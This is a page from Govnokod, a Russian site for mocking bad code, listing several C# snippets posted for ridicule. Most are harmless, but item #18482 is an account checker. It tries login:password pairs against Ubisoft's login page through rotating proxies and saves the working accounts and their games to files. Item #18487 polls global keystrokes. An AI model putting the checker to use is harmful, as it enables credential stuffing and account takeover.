1. C# / Говнокод #18554

    +5

    1. 1
    _members[member.Member.MemberExpression.Member] = member.Member;

    В исходниках Linq2db

    vik-borisov, 31 Июля 2015

    Комментарии (1)
  2. C# / Говнокод #18514

    +125

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    public enum ActionTypes
    {
            view = 1, 
            edit = 2, 
            all_view, 
            inc_view = 3, 
            inn_view = 4, 
            order_view = 5, 
            out_view = 6, 
            compl_view = 7
    }

    Три часа искал в чем баг, перерыл весь код, а оказалось...бля...

    dropdatabase, 23 Июля 2015

    Комментарии (98)
  3. C# / Говнокод #18513

    +146

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    public ActionResult EditorValueChange(string value, string editor)
            {
                switch (editor)
                {
                    case "LastName": Session["LastName"] = value; break;
                    case "FirstName": Session["FirstName"] = value; break;
                    case "MiddleName": Session["MiddleName"] = value; break;
                    case "PhoneMobil": Session["PhoneMobil"] = value; break;
                    case "PhoneHome": Session["PhoneHome"] = value; break;
                    case "Birthday": Session["Birthday"] = value; break;
                    case "HeadOfGroupId": Session["HeadOfGroupId"] = value; break;
                }
    
                return Json(true);
            }

    Может еще "default: Session[editor] = value; break;" добавить?)

    dropdatabase, 23 Июля 2015

    Комментарии (0)
  4. C# / Говнокод #18512

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    switch (editor)
                {
                    case "LastName": Session["LastName"] = value; break;
                    case "FirstName": Session["FirstName"] = value; break;
                    case "MiddleName": Session["MiddleName"] = value; break;
                    case "PhoneMobil": Session["PhoneMobil"] = value; break;
                    case "PhoneHome": Session["PhoneHome"] = value; break;
                    case "Birthday": Session["Birthday"] = value; break;
                    case "HeadOfGroupId": Session["HeadOfGroupId"] = value; break;
                }

    dropdatabase, 23 Июля 2015

    Комментарии (0)
  5. C# / Говнокод #18509

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    private static HashSet<char> GetValidNestedQuerySymbols()
        {
          var result = new HashSet<char>();
    
          var symbols = new List<int>
            {
              0x007B, //{
              0x007D, //}
              0x003D,  //=
              0x003A  //:
            };
    
          foreach (var symbol in symbols)
            result.Add(Convert.ToChar(symbol));
    
          return result;
        }

    глубина мысли писавшего выбивает из колеи каждый раз, когда я смотрю на это...

    drakoner, 22 Июля 2015

    Комментарии (0)
  6. C# / Говнокод #18495

    +141

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    private void FontsComboBoxSelectionChanged(object sender, SelectionChangedEventArgs e)
    {
        ExampleTextBox.FontFamily = ((FontFamilyItem)FontsComboBox.SelectedItem).FontFamily;
    
        //combobox values disappears after selected
        //TODO: OPTIMIZE
        FontsComboBox.SelectionChanged -= FontsComboBoxSelectionChanged;
        int iSelIndex = FontsComboBox.SelectedIndex;
        FontsComboBox.Items.Clear();
        foreach (var item in _aFonts)
            FontsComboBox.Items.Add(item);
        FontsComboBox.SelectedIndex = iSelIndex;
        FontsComboBox.SelectionChanged += FontsComboBoxSelectionChanged;
    }

    Значения из списка ComboBox'а исчезают после выбора их.
    Решил проблему костылем говнокодом. Правда теперь стало чуть-чуть тормозить. Но на это можно забить.

    Janycz, 18 Июля 2015

    Комментарии (0)
  7. C# / Говнокод #18487

    +131

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    private static string GetKeyCode()
            {
                string ret = null;
                while (true)
                {
                    //sleeping for while, this will reduce load on cpu
                    Thread.Sleep(1);
                  
                    for (Int32 i = 0; i < 255; i++)
                    {
                        int keyState = GetAsyncKeyState(i);
                        if (keyState == 1 || keyState == -32767)
                        {
                            if ((WinApi.Keys) i == WinApi.Keys.VkReturn)
                            {
                                return ret;
                            }
                            var s = KeyToChar((WinApi.Keys)i);
                            ret = ret + s;
                        }
                    }
                }
            }
    
            private static char KeyToChar(WinApi.Keys key)
            {
                return unchecked((char)MapVirtualKeyW((uint)key, MAPVK_VK_TO_CHAR)); // Ignore high word.  
            }
    
            private const uint MAPVK_VK_TO_CHAR = 2;
            [System.Runtime.InteropServices.DllImportAttribute("user32.dll")]
            public static extern uint MapVirtualKeyW(uint uCode, uint uMapType);
            [DllImport("user32.dll")]
            public static extern int GetAsyncKeyState(Int32 i);

    И вот такое бывает - аутсорсеры плагинов к нашему продукту так слушают клавиатурный ввод... (facepalm)

    !!! Thread.Sleep(1);
    !!! for (Int32 i = 0; i < 255; i++) - проверяют, не нажимали ли что-то

    babasya, 16 Июля 2015

    Комментарии (10)
  8. C# / Говнокод #18486

    +145

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    // Я не знаю, на чём до c# писал человек, который пишет вот такой код...
    // sum типа decimal. Видимо, надо умножить её на 100 и передать округленной до целого куда-то в текстовом виде. 
    
    UInt32 summ_st = Convert.ToUInt32((Math.Round(sum * 100)).ToString("G"));
    string cmd = "" + summ_st.ToString() + "";

    И такое приходит от аутсорсеров

    babasya, 16 Июля 2015

    Комментарии (6)
  9. C# / Говнокод #18482

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    public void probnik(string login, string pass)
            {
                EventHandler method = null;
                try
                {
                    string str = string.Empty;
                    int num = 0;
                    CookieCollection cookies = new CookieCollection();
                Label_0033:
                    try
                    {
                        IProxy proxy;
                        if (this.useproxy.Checked)
                        {
                            goto Label_00A2;
                        }
                        string str5 = "POST";
                        CookieCollection cookies3 = cookies;
                        str = Convert.ToString(VkRequest.Request("https://authentication-ui.ubi.com/?genomeId=78443d75-7a0e-461f-aa64-edf2be804ce2&lang=en-GB&nextUrl=http%3A%2F%2Fuplay.ubi.com%2Fen-GB%2Findex%2Floggedin&revalidate=True", "__RequestVerificationToken=&Email=" + login + "&AuthPassword=" + pass + "&RememberMe=false", str5, false, false, cookies3, null, new HTTPHeaderItem[0]).Headers);
                    Label_0089:
                        if (str.Contains("Set-Cookie") || (num == 1))
                        {
                            goto Label_011C;
                        }
                        num++;
                        goto Label_0033;
                    Label_00A2:
                        proxy = this.proxies[this.r.Next(this.proxies.Count)];
                        CookieCollection cookies2 = cookies;
                        string str4 = "POST";
                        str = Convert.ToString(VkRequest.Request("https://authentication-ui.ubi.com/?genomeId=78443d75-7a0e-461f-aa64-edf2be804ce2&lang=en-GB&nextUrl=http%3A%2F%2Fuplay.ubi.com%2Fen-GB%2Findex%2Floggedin&revalidate=True", "__RequestVerificationToken=&Email=" + login + "&AuthPassword=" + pass + "&RememberMe=false", str4, false, false, cookies2, proxy, new HTTPHeaderItem[0]).Headers);
                        goto Label_0089;
                    }
                    catch
                    {
                        goto Label_0033;
                    }
                Label_011C:
                    if (str.Contains("UBIAuth"))
                    {
                        if (method == null)
                        {
                            method = delegate(object sender, EventArgs e)
                            {
                                this.goodslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.goodslabel.Text) + 1));
                                File.AppendAllText(Program.time + "//UBI(в который зашел аккаунт).txt", login + ":" + pass + "\r\n");
                            };
                        } //смотрим какие игры
                        base.Invoke(method);
                        string str7 = "GET";
                        CookieCollection cookies4 = cookies;
                        HTTPHeaderItem[] additionalHeaders = new HTTPHeaderItem[] { 
                        new HTTPHeaderItem("X-Requested-With", "XMLHttpRequest"), 
                        new HTTPHeaderItem("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104")
                        };
                        string str3 = Convert.ToString(VkRequest.Request("http://uplay.ubi.com/en-GB/games/get-games/filterType/owned/filterValue/onlyOwned", (string)null, str7, false, false, cookies4, null, additionalHeaders).Content);
     
                        string games = string.Empty;
                        string platform = string.Empty;
     
                        if (str3.Contains("name"))
                        {
                            games = this.parse(str3, "\"g2wEnabled\":\"1\",\"name\":\"", "\"", "");
                            platform = parse(str3, "platforms\":", ",\"", "");
     
                            Invoke(new EventHandler(delegate
                            {
                                if (soundgood.Checked)
                                {
                                    System.Console.Beep(1000, 500);
                                }
                                int k = games.Split('\n').Count();
                                this.GridLog.Rows.Add(new object[] { login, pass, k.ToString() });
                                File.AppendAllText(Program.time + "//с игрой.txt", login + ":" + pass + "\r\n" + " ====Games====" + "\r\n" + games + "|" + platform + "\r\n" + " ==============" + "\r\n");
                                this.checks.Text = Convert.ToString((int)(Convert.ToInt32(this.checks.Text) + 1));
                            }));
                        }
                        else
                        {
                            Invoke(new EventHandler(delegate
                            {
                                this.badslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.badslabel.Text) + 1));
                            }));
                        }
     
     
                    }
                    else
                    {
                        Invoke(new EventHandler(delegate
                        {
                            this.badslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.badslabel.Text) + 1));
                        }));
                    }
                }
                catch
                {
                }
            }

    Отсылаем Get-запросы

    Psilon, 15 Июля 2015

    Комментарии (0)
  10. C# / Говнокод #18467

    +141

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    private string Time
            {
                get
                {
                    DateTime d;
                    d = DateTime.Now;
    
                    string t;
    
                    // Get the Date
                    if (d.Month.ToString().Trim().Length == 1)
                    {
                        t = "0" + d.Month.ToString().Trim() + "/";
                    }
                    else
                    {
                        t = d.Month.ToString().Trim() + "/";
                    }
                    if (d.Day.ToString().Trim().Length == 1)
                    {
                        t += "0" + d.Day.ToString().Trim() + "/";
                    }
                    else
                    {
                        t += d.Day.ToString().Trim() + "/";
                    }
                    t += d.Year.ToString().Trim() + " ";
    
                    // Get the time
                    if (d.Hour.ToString().Trim().Length == 1)
                    {
                        t += "0" + d.Hour.ToString().Trim() + ":";
                    }
                    else
                    {
                        t += d.Hour.ToString().Trim() + ":";
                    }
                    if (d.Minute.ToString().Trim().Length == 1)
                    {
                        t += "0" + d.Minute.ToString().Trim() + ":";
                    }
                    else
                    {
                        t += d.Minute.ToString().Trim() + ":";
                    }
                    if (d.Second.ToString().Trim().Length == 1)
                    {
                        t += "0" + d.Second.ToString().Trim() + ".";
                    }
                    else
                    {
                        t += d.Second.ToString().Trim() + ".";
                    }
                    if (d.Millisecond.ToString().Trim().Length == 1)
                    {
                        t += "00" + d.Millisecond.ToString().Trim() + ".";
                    }
                    else if (d.Millisecond.ToString().Trim().Length == 2)
                    {
                        t += "0" + d.Millisecond.ToString().Trim() + ".";
                    }
                    else
                    {
                        t += d.Millisecond.ToString().Trim() + ".";
                    }
    
                    return t;
                }
            }

    Классическая вариация на тему DateTime, чтобы получить 07/10/2015 18:45:03.647.

    adoconnection, 10 Июля 2015

    Комментарии (0)